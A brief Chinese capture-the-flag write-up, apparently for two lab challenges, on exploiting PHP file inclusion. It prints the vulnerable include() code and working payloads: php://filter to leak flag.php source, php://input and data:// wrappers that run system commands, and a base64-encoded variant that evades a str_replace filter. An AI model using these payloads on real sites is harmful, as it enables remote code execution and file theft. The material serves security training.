Web入门(文件包含78-79)

web78(base64-encode)

<?php if(isset($GET['file'])){ $file = $GET['file']; include($file); }else{ highlight_file(FILE); }

这里使用

?file=php://filter/read=convert.base64-encode/resource=flag.php 两个都可以 ?file=php://filter/convert.base64-encode/resource=flag.php

img

方法2:

bp抓包,给file传参?file=php://input然后在post输出想要执行的代码

img

img

img

web79(str_replace)

<?php if(isset($GET['file'])){ $file = $GET['file']; $file = str_replace("php", "???", $file); include($file); }else{ highlight_file(FILE); }

知识点:str_replace

str_replace — 子字符串替换

str_replace( array|string $search, array|string $replace, string|array $subject, int &$count = null ): string|array

实例

把字符串 "Hello world!" 中的字符 "world" 替换为 "Shanghai":

<?php echo str_replace("world","Shanghai","Hello world!"); ?>

php5.2.0起,数据流封装器开始有效,主要用于数据流的读取。如果传入的数据是PHP代码,就会执行代码

payload:?file=data://text/plain,<?= system('tac flag.???');?> 逗号后面是要执行的php代码 或者 payload:?file=data://text/plain;base64,PD89IHN5c3RlbSgndGFjIGZsYWcuPz8/Jyk7Pz4= 逗号后面是要执行的php代码的base64加密形式

注:data://可以用data:代替

当然这样也可以

img